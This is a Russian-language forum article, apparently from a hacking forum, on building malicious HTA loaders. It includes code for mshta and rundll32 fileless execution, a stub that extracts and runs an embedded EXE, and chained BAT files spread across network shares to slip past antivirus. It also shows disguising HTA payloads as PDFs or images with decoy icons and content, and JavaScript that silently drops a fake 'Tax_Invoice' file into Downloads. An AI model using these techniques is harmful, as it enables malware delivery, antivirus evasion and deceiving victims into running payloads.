
И фрагментацию внутри BAT/CMD файла делаем так:

Код:
mshta \\1.1.1.1\script1.hta
mshta \\2.2.2.2\script2.hta
...
mshta \\N.N.N.N\scriptN.hta

То же самое в однострочной записи, используя в качестве разделителя строк символом "&":

Код:
mshta \\1.1.1.1\script1.hta&mshta \\1.1.1.1\script1.hta&mshta \\N.N.N.N\scriptN.hta

Этот батник, в свою очередь, можно так же разделить на несколко батников из двух команд. Первая команда вызов hta-скрипта, вторая команда вызов следующего батника:

Код:
mshta \\1.1.1.1\script1.hta
call next_bat_file.bat

Получается цепной BAT-файл, где каждый предыдущий элемент такой цепи ссылается на следующий элемент.
Внутри таких составляющих цепь BAT-файлов можно ставить паузу - тогда получится не только пофайловая фрагментация, а фрагментация по рантайму (времени выполнения):

Код:
mshta \\1.1.1.1\script1.hta
call next_bat_file.bat
timeout /t:N

Здесь мы добавили команду timeout, которая через параметр /t: задаёт паузу в секундах.
Таким способом, ставя рандомные паузы в цепи выполнения, мы можем растянуть время работы скрипта на несколько минут.
В результате получается, что для анализа скрипта AV должно собрать все файлы, раскиданные по компьютеру и по сети. Если не найдётcя хотя бы один файл, то скрипт будет неполным и, следовательно, данные для анализа будут некорректными.
Кроме того, работа такого распределённого скрипта искуственно замедлена, путём прописывания пауз в каждый элемент цепи выполнения. Даже если у AV будут все необходимые файлы, то ему нужно будет прождать несколько минут, чтобы собрать данные для поведенческого анализа.
Данный способ фрагментации скриптов по отдельным файлам, по сети и по времени является очень эффективным средством чистки от AV.

Так же через mshta можно осуществить бесфайловый запуск скриптов. Скрипт будет содержаться не в отдельном файле, а в командной строке:

Код:
mshta javascript:eval("a='test message';alert(a)");
mshta vbscript:execute("a=""test message"":msgbox a")

В данном примере в начале мы используем префиксы "javacript:" и "vbscript:" для того чтобы указать интерпретатору mshta какой скриптовый движок использовать.
Затем используем функцию eval из JScript, а аналогичную ей функцию execute из VBScript.
Эти функции позволяют выполнить скрипт, записанный в одну строку и переданный в виде строкового параметра данным функциям.
Для однострочной записи используем вместо разделителя строк символ точки с запятой ";" в случае JScript, и символ двоеточия ":" в случае VBScript.
Внутри однострочного скрипта экранируем специальные символы в соответсвии с правилами языка, на котором написан скрипт.
В данном примере для VBSCript мы при присвоении переменной строкового значения экранировали одинарные кавычки двойными кавычками.

Так же mshta скрипты можно ещё запускать с помощью вышеупомянутой утилиты rundll32:

Код:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\").run(\"calc\");window.close()");

Работает это так: утилита rundll32 экспортирует из библиотеки mshtml.dll недокумнтированную API-функцию RunHTMLApplication, которая отвечает за запуск HTA-приложений.
Этой же функцией утилита mshta запускает HTA-приложение, в том числе и из командной строки.
Фактически, утилита mshta.exe это всего лишь небольшая оболочка над библиотекой mshtml.dll, которая предоставляет пользователю интерфейс командной строки для работы с этой библиотекой.
Весь функционал парсинга и интерпретации скриптов находится не в mshta.exe, а в библиотеке mshtml.dll

В обработчике командной строки rundll32 есть ошибка: если в пути DLL написать перед двоеточием строку длиной в два или более символа, то она будет проигнорирована.
И далее будет обрабатываться только тот путь, который взят в кавычки.
Если rundll32 не найдёт библиотеку в текущей папке, то она начинает новый поиск, и точкой отсчёт будет та папка, из которой rundll32 запустилась C:\WINDOWS\SYSTEM32
И из этой текущей папки прочитывется mshtml.dll и из неё вызывается API RunHTMLApplication
Вся эта командная строка без изменений попадает в контекст библиотеки mshtml.dll
Командная строка передаётся в контекст другой DLL без изменений. И эта командная строка и будет считана функцией RunHTMLApllication из mshtml.dll.
Внимательно посмотрим на сам скрипт, и запишем его построчно:

Код:
"\..\mshtml.dll,RunHTMLApplication ";
eval("w=new%20ActiveXObject(\"WScript.Shell\").run(\"calc\");window.close()")

Мы видим первую строку с именем DLL и указанной через запятую функцией RunHTMLApplication.
Это всё прописано в кавычках, что по синтаксису Javascript является просто упоминанием строки без какого-либо присваивания. То есть такая запись скомпилируется без ошибки.
Таким образом внутри яваскрипта мы сохраняем путь к DLL и имя функции, чтобы их можно было передать rundll32.
Далее идёт всё как обычно: функцией eval запускаем основной скрипт, который в данном примере запустит калькулятор и закроет окно HTA-приложения.

Если эту же командную строку запускаем из BAT/CMD файла, то нужно будет заэкранировать символ "%" между строкой "new" и "ActiveXObject", написав его дважды:

Код:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%%20ActiveXObject(\"WScript.Shell\").run(\"calc\");window.close()");

Кроме выполнения скрипта можно так же сделать и отображение данных в формате HTML в открывшемся окне приложения mshta.
Делаем такой батник:

Код:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%%20ActiveXObject(\"WScript.Shell\").run(\"calc\");");"<CENTER><B><FONT color=green>12345</FONT></B></CENTER>"

Запускаем и получаем следующий результат:

rudll32_fileless_hta.png


Сразу же за скриптом мы написали вот этот HTML код:

Код:
"<CENTER><B><FONT color=green>12345</FONT></B></CENTER>"

Данный код выравнивает текст по центру, выбирает утолщенный шрифт и меняет цвет шрифта на зелёный.
Проходят любые HTML теги, например такие полезные теги как IMG или A.
Можно вставлять картинки, форматированный текст, ссылки и многое другое, что позволяет сформировать качественный decoy content (контент для отвлечения внимания пользователя).

Данный способ запуска HTA-скрипта очень хорошо подходит для лоадеров, которые работают в бесфайловом режиме и присутствуют на компе только в виде командной строки, например в одной из областей автозапуска в реестре виндовс.

Для запуска EXE/DLL файла, содержащегося внутри HTA файла, подойдёт стаб на JScript из прошлой статьи:

Код:
<script>e=new ActiveXObject("scripting.filesystemobject");f=e.getspecialfolder(2)+"\\`";q=e.createtextfile(f);q.write(e.getfile(WScript.scriptfullname).openastextstream().read(1e7).substr(245,1e10));q.close();new ActiveXObject("wscript.shell").exec(f);</script>

Сейчас он записан в однострочной компактной записи. Отличия от JScript стаба здесь небольшие: добавлены теги <script>, и получение имени файла, из которго произошёл старт, сделано через location.pathname вместо WScript.scriptfullname.
Если в данный стаб будет добавляться ещё какой-либо код, то обязательно нужно скорректировать изменившийся размер стаба вот в этом месте:

stub_size_correction.png


Далее, как обычно, используем команду бинарного коипрования copy/b для сборки финального HTA-файла:

Код:
copy/b stub_hta+putty.exe result.hta

После запуска result.hta мы увидим запущенный файл putty.exe и открытое окно HTA-приложения.
Если окно HTA-приложения не нужно, то в конце стаба нужно прописать команду для его закрытия: self.close()
Но окно можно оставить, для того чтобы отобразить в нём decoy content (контент для маскировки полезной нагрузки и отвлечения внимания пользователя).

Первое что нужно знать для создания decoy content для HTA-файлов это блок параметров HTA-приложения, который расположен в самом начале скрипта и содержит различные указания того, как отображать главное окно.
Выглядит он примерно вот так:

Код:
<TITLE>PDF Acrobat Reader</TITLE>
<HTA:APPLICATION ID="PDF_Reader"
     APPLICATIONNAME="PDF Acrobat Reader"
     BORDER="thin"
     BORDERSTYLE="normal"
     CAPTION="yes"
     ICON="test.ico"
     MAXIMIZEBUTTON="yes"
     MINIMIZEBUTTON="yes"
     SHOWINTASKBAR="no"
     SINGLEINSTANCE="no"
     SYSMENU="yes"
     VERSION="1.0"
     WINDOWSTATE="maximize"/>

В самом начале мы видим стандартный HTML-тег "TITLE" - в нём пишем нужный нам заголовок главного окна.
Далее идёт специальный тег с именем "HTA:APPLICATION" - это блок параметров текущего приложения.
В нём задаются такие вещи, как наличие скроллбаров по краям окна, размер окна после запуска, толщина рамок и тому подобное.
Наиболее интересный здесь параметр это параметр "ICON", задающий иконку, которая будкт отображаться в тайтле окна.
Туда можно поместить, например, иконку PDF, которая будет отображаться в тайтле главного окна HTA приложения.

Теперь рассмотрим подробнее как это сделать. Первая сложнсть - для иконки нужен отдельный файл.
Но таскать с собой ещё один дополнительный файл это не вариант. Поэтому используем ссылку:

Код:
<TITLE>PDF Acrobat Reader</TITLE>
<HTA:APPLICATION ID="PDF_Reader"
     ICON="http://123.123.123.123/pdf.ico"
/>

Уже лучше, но наличие прямых ссылок нежелательно, это потенциальный триггер для срабатывания AV.
Вариант с data-url (который мы подробно разберём далее в этой статье) в данном случае не срабатывает.
Поэтому ICO-файл нужно как-то разместить внутри HTA-файла и как-то хитро прописать путь к нему.
Решение заключается в следующем: делаем составной HTA файл, в котором первым идёт файл с иконкой и за ним уже идёт HTA-скрипт.
Собираем этот файл командой бинарного копирования:

Код:
copy/b pdf.ico+ico_stub.hta hta_with_icon.hta

Теперь в теге "HTA:APPLICATION" прописываем имя собственного HTA-файла из которого мы запустились:

Код:
<TITLE>PDF Acrobat Reader</TITLE>
<HTA:APPLICATION ID="PDF_Reader"
     ICON="result.hta"
/>

В результате этого отобразится иконка, взятая из начала HTA-скрипта. И сам скрипт, записанный в конце файла, никак не повлияет на работу интерпретатора графических файлов ICO.
Расширение для ICO-файлов в данном случае не имеет никакого значения, поэтому прописывание файла result.hta вместо файла *.ico не вызывает никакой ошибки.

Это уже хороший вариант решения проблемы с отображением иконки, но есть вариант ещё лучше - с автоматическим определением имени HTA-файла, из которого мы запустились.
Делается это через динамическое формирование и вывод тега "HTA:APPLICATION" с помощью метода document.writeln:

<script>
document.writeln("<HTA:APPLICATION ID=\"PDF_Reader\" ICON=" + location.href + ">");
</script>

В конечном итоге HTA с иконкой в тайтле будет выглядеть так:

hta_icon_in_window_title.png


Здесь мы динамически формируем строку тега "HTA:APPLICATION" и а том месте, где указывается путь к файлу с иконкой, прописываем текущее значение location.href.
В значении location.href для HTA-файла будет содержаться полный путь к нему.
В результате отобразится иконка, которая была записана в начало текущего HTA-файла, и имя HTA-файла будет определено автоматически.
Теперь в вопросе отображения иконки мы не зависим от имени файла.
Статическое имя файла создавало бы много проблем.
Например, при скачивании файла result.hta он может сохраниться под именем result[1].hta.
И в этом случае иконка бы не отобразилась из-за неверно указанного в теге HTA:APPLICATION имени файла-носителя иконки.

С отображением ссылок, форматированного текста и тому подобного HTML-контента всё понятно - просто пишем нужный HTML-код после тега скрипт.
Сложнее обстоит вопрос с отображением графики и мультимедиа файлов, потому что HTA-приложение приходит на комп в виде одного единственного файла, и нельзя вместе с ним таскать ещё несколько JPG-картинок.
Поэтому рассмотрим способы, как разместить всё в одном монолитном HTA файле: картинки, пейлоад и HTML код.
Самое простое (но не самое лучшее) решение проблемы с картинками, это прописать их в виде тегов IMG и указать их место хранения на удалённом http-сервере:

Код:
<img src=http://123.123.123.123/test_image.png>

Способ плох тем, что ссылки на сторонние ресурсы (hotlink-ссылки) сильно детектятся AV.
Связано это с тем, что когда-то был очень распространён способ раскрытия IP-адреса через отправленное письмо с тегом IMG.
На адрес отсылается письмо, содержащее такой тег: "<IMG src=http://123.123.123.123/img.php>"
Срабатывал скрипт img.php, который через переменную $_SERVER['REMOTE_ADDR'] получал IP-адрес прочитавшего письмо.
И после получения IP-адреса выдавал в ответ картинку, в результате в веб-почте или в аутлуке картинка отображалась как ни в чём не бывало, и для пользователя всё это происходило абсолютно незаметно.
В результате такие IMG-теги с хотлинками стали привлекать пристальное внимание AV.
Поэтому будем использовать другой способ хранения графики внутри HTA-файлов, который называется схемой data-url:

Код:
<IMG src="data:image/gif;base64,
iVBORw0KGgoAAAANSUhEUgAAAQAAAAEAEAYAAAAM4n
...
MDEzLTAxLTIxVDIyOjUwOjM1LTA2OjAwDd1XUQAAAABJRU5ErkJggg==
">

Преимущество этого способа заключается в том, что для получения графики полностью отсутствуют сетевые обращения.
Вся графика хранится внутри HTA-файла, закодированная в формат Base64.
В параметре src вместо ссылки пишется префикс "data:", который указывает на то, что используется схема хранения данных data-url.
По этой схеме данные хранятся <b>внутри тега</b> в формате base64, а не на удалённом ресурсе.
Хранить можно любые бинарные данные: картинки, мультимедиа а также EXE/DLL файлы (но это уже отдельная тема).
В данном случае мы храним картинку, поэтому после префикса "data:" пишем content type, указывающий на тип хранимых данных, то есть пишем image/gif
Далее ставим точку с запятой и после неё пишем тип кодировки base64, и сразу за ним размещаем содержимое графического файла, переведённого в эту кодировку.
Картинку в формат base64 переводим с помощью команды certutil:

Код:
certutil -encode image.png image.txt

В image.txt запишется картинка, закодированная в base64.
Единственное что нужно сделать с получившимся файлом image.txt это удалить строки "-----BEGIN CERTIFICATE-----" и "-----END CERTIFICATE-----" в начале и в конце файла.
Так же тег IMG можно записать в компактном виде в одну строку:

Код:
<IMG src="data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEAEAYAAAAM4n ...MDEzLTAxLTIxVDIyOjUwOjM1LTA2OjAwDd1XUQAAAABJRU5ErkJggg==">

На base64 кодировку это не повлияет. В base64 кодировке символы перевода строк попросту игнорируются, он нужны только для удобства отображения закодированного текста, не более того.
Поэтому смело записываем весь base64 массив данных в одну длинную строку, данные в этом случае не повредятся.

Примечательный момент: в описателе контент тайп имеет значение только текст, записанный до косой черты "/".
То есть вместо "image/gif" можно написать просто image, и формат картинки распознаётся автоматически.
Можно написать "image/gif" и разместить картинку в формате png, и в этом случае всё равно картинка отобразится нормально.
Более того, можно после символа "/" указать заведомо несуществующий формат файлов, например так:

Код:
<IMG src="data:image/AAAAAAAAAAAAAAAAAAAAAAAAAAAA;base64,>

Дальнейшее развитие этой идеи: вместо файлового типа можно туда вписать какие-либо свои данные (например ещё один скрипт, или ключ для расшифровки EXE/DLL файла).
Внутри HTA файлов такое точно проходит без ошибок, но уже в Хроме такой тег не отобразит правильно картинку.

Так выглядит монолитный HTA-файл со встроенным контентом в hex-редакторе:

hta_with_embedded_contetn_hex_editor.png


А так он выглядит после запуска:

hta_with_embedded_content_demo.png


Этот HTA-файл можно найти в приатаченном к этой статье архиве с примерами.

HTA-файлы так же можно маскировать под картинки, разместив скрипт в середине или в конце файла.
Собирём такой файл следующей командой:

Код:
copy/b test.hta+image.png result

В test.hta разместим стандартный тестовый скрипт с таким содержимым: "<script>alert(12345);</scirp>"
Для того чтобы просто убедится, что HTA-скрипты при таком их формате хранения прекрасно исполняются.
Приписываем к получившемуся файлу "result" расширение ".png" и открываем в проводнике, в проводнике отобразится картинка.
Теперь переименовываем файл result.png в result.hta и запускаем его в проводнике, в этом случае сработает наш тестовый HTA скрипт.

Парсер HTA файлов устроен так, что он работает не с текстовыми, а бинарными данными. Он просто ищет в бинарных данных определённые теги и обрабатывает их.
В нашем случае он отыскал тег script внутри картинки, представляющей собой набор байтов, и интерпретировал этот тег как скрипт.
Таким способом скрипты можно прятать не только в картинках, а в любых байтовых форматах: в видеофайлах, в EXE/DLL файлах и т.д.
На этом свойстве HTA файлов основан способ скрытного проноса HTA-скриптов на целевой компьютер.
Делается это с помощью тега "IMG" для работы с изображениями:

Код:
<IMG src="http://123.123.123.123/image.jpg">

В image.jpg хранится составной HTA-файл: в начале идёт JPG картинка и к ней в конце приписан HTA-скрипт.
Картинка при этом отобразится без ошибок, приписанный в конце картинки скрипт обработчиком изображений будет проигнорирован.
И этот файл где-то оседает в кеше браузера, откуда он потом может быть извлечён и запущен тем или иным способом.

С тегом IMG это вариант скрытного скачивания HTA-скрипта в папку, в которую пользователь точно не зайдёт (в кеш браузера).
Но часто бывает нужно закинуть определённый файл в папку Downloads, в которую пользователь заглядывает очень часто, и вероятность того что он сделает двойной клик на каком-то определённом файле достаточна велика.
Как правило, автоматическое скачивание делается вот таким способом:

Код:
<script>
function d(u,f){fetch(u).then(function(t){return t.blob().then((b)=>{var a=document.createElement("a");a.href=URL.createObjectURL(b);a.setAttribute("download",f);a.click()})})}
d("data:text/plain;base64,PHNjcmlwdD5hbGVydCgxMjM0NSk7PC9zY3JpcHQ+","Tax_Invoice_N17175.hta");
</script>

Данная функция принимает ссылку (параметр u) и имя файла, под которым сохранить файл скачанный по ссылке (параметр f).
Эта функция создаёт элемент ссылки (тег "A href"), прописывает в него нужный url и выводит её текущий документ. Причём эта ссылка будет невидимой в документе.
После этого делается автоматичсекое нажатие только что созданной ссылки путём вызова метода click().
После срабатывания этой функции в стандартной папке Downloads автоматически сохранится заданный нами файл.
В качестве параметра "u" можно указывать прямые ссылки, но гораздо лучше помещать туда data-url, работу с которым мы только что разобрали.
В этом примере в папку Downloads будет автоматически скачан HTA-скрипт, и сохранён он будет под именем "Tax_Invoice_N17175.hta".
Сам HTA-скрипт хранится в формате data-url, закодированный в base64 кодировку.
Если сохранить этот пример в HTML файле и открыть его в Хроме, то срабатывание этого скрипта будет выглядеть вот так:

data_url_automatic_download.png


Скачанный таким способом HTA файл лучше будет замаскировать под PDF или любой другой безопасный формат, скопировав например PDF-документ в начало HTA-файла.
Пользователи часто просматривают перед запуском файлы в текстовом редакторе, чтобы убедится что там нет исполняемого файла.
И если они откроют такой замаскированный под пдф-документ HTA-скрипт, то они посчитают его безопасным.
Собираем этот составной HTA-файл, как обычно, с помощью команды бинарного копирования:

Код:
copy/b somefile.pdf+stub.hta+somefile.pdf result.hta

Если пользователь откроет этот файл в текстовом или hex-редакторе, то он увидит стандартную структуру PDF-документа:

hta_disguised_as_pdf_begin.png


Если он вдруг перейдёт в конец файла, то то же не заметит ничего подозрительного. Для этой ситуации мы предусмотрительно записали в конец файла ещё одну копию PDF-документа.
Перейдя а конец файла пользователь увидит всю ту же стандартную для PDF структуру:

hta_disguised_as_pdf_end.png
 

Вложения

  • warning_may_be_av_detection_password_is_12345.zip
    435.8 КБ · Просмотры: 44
Связано это с тем, что когда-то был очень распространён способ раскрытия IP-адреса через отправленное письмо с тегом IMG.
это и сейчас работает, всякие рассылки отслеживают открываемость писем через пиксели и подобные элементы с уникальным кодом в урле.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх